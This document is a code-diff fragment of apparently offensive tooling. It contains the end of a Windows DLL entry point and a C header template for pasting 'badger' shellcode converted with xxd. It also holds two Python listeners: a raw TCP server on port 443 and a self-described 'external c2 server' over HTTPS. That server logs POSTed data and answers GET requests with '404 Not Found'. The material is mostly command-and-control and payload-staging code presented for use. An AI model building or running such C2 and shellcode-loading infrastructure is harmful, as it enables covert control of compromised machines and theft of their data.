case DLL_PROCESS_ATTACH: {
break;
}
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
@@ -0,0 +1,11 @@
#include <windows.h>
// add your shellcode here
// bin files can be converted to shellcode using the following command on kali or ubuntu:
// xxd -i badger.bin
// copy the output for the above command in this file
unsigned char badger_bin[] = {
};
// copy your shellcode length here
unsigned int badger_bin_len = 0;
@@ -0,0 +1,39 @@
import socket
import threading
# Define the host and port to listen on
HOST = '0.0.0.0' # Listen on all available interfaces
PORT = 443 # Port to listen on
def handle_client(client_socket, client_address):
print(f"Accepted connection from {client_address}")
with client_socket:
while True:
data = client_socket.recv(1024)
if not data:
# No more data from the client
break
# Print the received data
print(f"Received from {client_address}: {data.decode('utf-8')}")
def main():
# Create a TCP/IP socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
# Allow the socket to be reused
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind the socket to the host and port
server_socket.bind((HOST, PORT))
# Listen for incoming connections
server_socket.listen()
print(f"Listening on {HOST}:{PORT}")
while True:
# Accept a new connection
client_socket, client_address = server_socket.accept()
# Handle the new connection in a new thread
client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
client_thread.daemon = True # Allow the thread to be killed when the main program exits
client_thread.start()
if __name__ == "__main__":
main()
@@ -0,0 +1,48 @@
#!/usr/bin/python3
import threading
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LHOST = "0.0.0.0"
LPORT = 8081
class Stager(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self, message):
return "404 Not Found"
def do_GET(self):
return "404 Not Found"
def do_POST(self):
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
print("[+] Data Received:", postData)
return "200 OK"
def log_message(self, format, *args):
return
def main():
if (len(sys.argv) < 3):
print("Usage:", sys.argv[0], "<certfile> <keyfile>")
return
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}")
server = HTTPServer((LHOST, LPORT), Stager)
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()